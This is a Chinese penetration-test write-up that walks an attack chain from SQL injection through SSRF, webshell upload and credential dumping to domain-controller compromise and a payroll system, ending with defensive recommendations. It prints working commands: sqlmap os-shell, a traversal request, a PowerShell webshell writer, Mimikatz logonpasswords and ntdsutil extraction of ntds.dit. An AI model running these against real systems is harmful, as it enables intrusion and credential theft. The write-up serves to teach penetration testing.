细说渗透江湖之出荆棘入深林
字数 1432 2025-08-15 21:32:20

渗透测试实战教学:从SQL注入到内网域控的完整攻击链分析

1. 初始发现与SQL注入利用

1.1 漏洞发现

  • 目标应用存在SQL注入漏洞,通过接口注入
  • 数据库环境:MySQL
  • 服务器系统:Windows

1.2 常规利用尝试

  1. 使用sqlmap进行自动化注入测试:
    sqlmap -u "目标URL" --os-shell
    
  2. 成功获取os-shell但发现命令执行受限:
    • 仅能执行whoami命令
    • 其他命令执行失败
    • 当前权限为NT AUTHORITY\SYSTEM

1.3 问题分析与假设

  1. 可能原因:

    • 命令未正确传递执行
    • 服务器无法连接外网(无出站流量)
  2. 验证测试:

    ping dnslog.cn
    
    • 无响应,初步判断服务器无法连接外网

2. 突破命令执行限制

2.1 Base64编码绕过

  • 使用PowerShell进行Base64编码执行:
    Powershell "string='ipconfig';[convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(string))"
    
  • 服务器端执行后返回Base64编码结果

2.2 手工目录遍历

  • 通过一层层查询目录获取绝对路径
  • 发现目标服务器架构:
    • 多个端口映射到不同内网服务器
    • 内网环境隔离,无法直接连接外网

3. SSRF漏洞利用

3.1 SSRF发现与验证

  1. 寻找WEB应用功能点,分析请求参数
  2. 测试外连验证:
    GET /api?url=http://dnslog.cn HTTP/1.1
    
    • 成功收到DNS查询记录,确认SSRF存在

3.2 内网信息收集

  1. 发现知识库系统泄露内网应用信息

  2. 使用关键字FUZZ:

    • 内网系统:cas、oa、mail、login
    • 服务凭证:mysql、user、system
    • 开发信息:error、warning、debug、api
  3. 发现内网系统存在目录遍历漏洞:

    GET /download?file=../../config HTTP/1.1
    
    • 成功获取配置文件,含数据库连接信息

4. WebShell写入与访问

4.1 写入问题解决

  1. 初始问题:

    • WebShell内容被Base64编码存储
    • 无法正常访问写入的WebShell
  2. 解决方案:

    powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=out-file -filepath D:\path\to\aspnet_client\system_web\4_0_30319\last3time.aspx;"
    

4.2 多站点尝试

  • 在第二个站点成功写入并访问WebShell
  • 利用NT AUTHORITY\SYSTEM权限执行高权限操作

5. 内网横向移动

5.1 密码获取

  1. 上传PowerShell版Mimikatz
  2. 执行密码抓取:
    Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
    
    • 成功获取系统密码

5.2 数据库密码解密

  1. 从配置文件中发现加密的数据库密码
  2. 通过源码分析找到自定义加解密算法
  3. 编写解密代码获取明文密码

5.3 域内渗透

  1. 发现目标服务器在域内
  2. 使用CVE-2019-1040漏洞进行NTLM中继攻击
  3. 触发Print Spooler服务漏洞获取域管理员权限

5.4 域控攻陷

  1. 使用ntdsutil创建活动目录快照:
    ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
    
  2. 复制ntds.dit和SYSTEM文件
  3. 使用WPR破解哈希获取域内凭证

6. 最终目标达成

6.1 工资系统访问

  1. 使用获取的域凭证登录工资系统
  2. 发现管理员密码加密存储
  3. 通过替换加密密码方式临时登录系统

6.2 证据收集

  • 截取关键系统界面作为渗透证明
  • 在项目截止前1.5小时完成所有操作

7. 攻击链总结

SQL注入 → 受限命令执行 → Base64绕过 → 目录遍历 → SSRF发现 → 内网信息收集 → 
配置文件泄露 → WebShell写入 → 密码获取 → 数据库解密 → 域内横向移动 → 
NTLM中继攻击 → 域控攻陷 → 目标系统访问

8. 关键经验总结

  1. 编码绕过:当命令执行受限时,尝试Base64等编码方式
  2. 多角度验证:对异常现象建立多个假设并逐一验证
  3. SSRF利用:不仅是内网探测工具,更是重要的攻击跳板
  4. 源码分析:配置文件加密时,源码往往是解密关键
  5. 时间管理:合理分配渗透各阶段时间,确保项目按时完成
  6. 攻击链思维:单个漏洞可能价值有限,串联利用才能直达目标

9. 防御建议

  1. 严格过滤SQL注入特殊字符
  2. 限制服务器出站连接
  3. 对SSRF参数进行严格校验
  4. 避免配置文件泄露
  5. 及时修补已知漏洞如CVE-2019-1040
  6. 实施网络分段,限制内网横向移动
  7. 加强域管理员账户保护
渗透测试实战教学:从SQL注入到内网域控的完整攻击链分析 1. 初始发现与SQL注入利用 1.1 漏洞发现 目标应用存在SQL注入漏洞,通过接口注入 数据库环境:MySQL 服务器系统:Windows 1.2 常规利用尝试 使用sqlmap进行自动化注入测试: 成功获取 os-shell 但发现命令执行受限: 仅能执行 whoami 命令 其他命令执行失败 当前权限为 NT AUTHORITY\SYSTEM 1.3 问题分析与假设 可能原因: 命令未正确传递执行 服务器无法连接外网(无出站流量) 验证测试: 无响应,初步判断服务器无法连接外网 2. 突破命令执行限制 2.1 Base64编码绕过 使用PowerShell进行Base64编码执行: 服务器端执行后返回Base64编码结果 2.2 手工目录遍历 通过一层层查询目录获取绝对路径 发现目标服务器架构: 多个端口映射到不同内网服务器 内网环境隔离,无法直接连接外网 3. SSRF漏洞利用 3.1 SSRF发现与验证 寻找WEB应用功能点,分析请求参数 测试外连验证: 成功收到DNS查询记录,确认SSRF存在 3.2 内网信息收集 发现知识库系统泄露内网应用信息 使用关键字FUZZ: 内网系统:cas、oa、mail、login 服务凭证:mysql、user、system 开发信息:error、warning、debug、api 发现内网系统存在目录遍历漏洞: 成功获取配置文件,含数据库连接信息 4. WebShell写入与访问 4.1 写入问题解决 初始问题: WebShell内容被Base64编码存储 无法正常访问写入的WebShell 解决方案: 4.2 多站点尝试 在第二个站点成功写入并访问WebShell 利用 NT AUTHORITY\SYSTEM 权限执行高权限操作 5. 内网横向移动 5.1 密码获取 上传PowerShell版Mimikatz 执行密码抓取: 成功获取系统密码 5.2 数据库密码解密 从配置文件中发现加密的数据库密码 通过源码分析找到自定义加解密算法 编写解密代码获取明文密码 5.3 域内渗透 发现目标服务器在域内 使用CVE-2019-1040漏洞进行NTLM中继攻击 触发Print Spooler服务漏洞获取域管理员权限 5.4 域控攻陷 使用ntdsutil创建活动目录快照: 复制ntds.dit和SYSTEM文件 使用WPR破解哈希获取域内凭证 6. 最终目标达成 6.1 工资系统访问 使用获取的域凭证登录工资系统 发现管理员密码加密存储 通过替换加密密码方式临时登录系统 6.2 证据收集 截取关键系统界面作为渗透证明 在项目截止前1.5小时完成所有操作 7. 攻击链总结 8. 关键经验总结 编码绕过 :当命令执行受限时,尝试Base64等编码方式 多角度验证 :对异常现象建立多个假设并逐一验证 SSRF利用 :不仅是内网探测工具,更是重要的攻击跳板 源码分析 :配置文件加密时,源码往往是解密关键 时间管理 :合理分配渗透各阶段时间,确保项目按时完成 攻击链思维 :单个漏洞可能价值有限,串联利用才能直达目标 9. 防御建议 严格过滤SQL注入特殊字符 限制服务器出站连接 对SSRF参数进行严格校验 避免配置文件泄露 及时修补已知漏洞如CVE-2019-1040 实施网络分段,限制内网横向移动 加强域管理员账户保护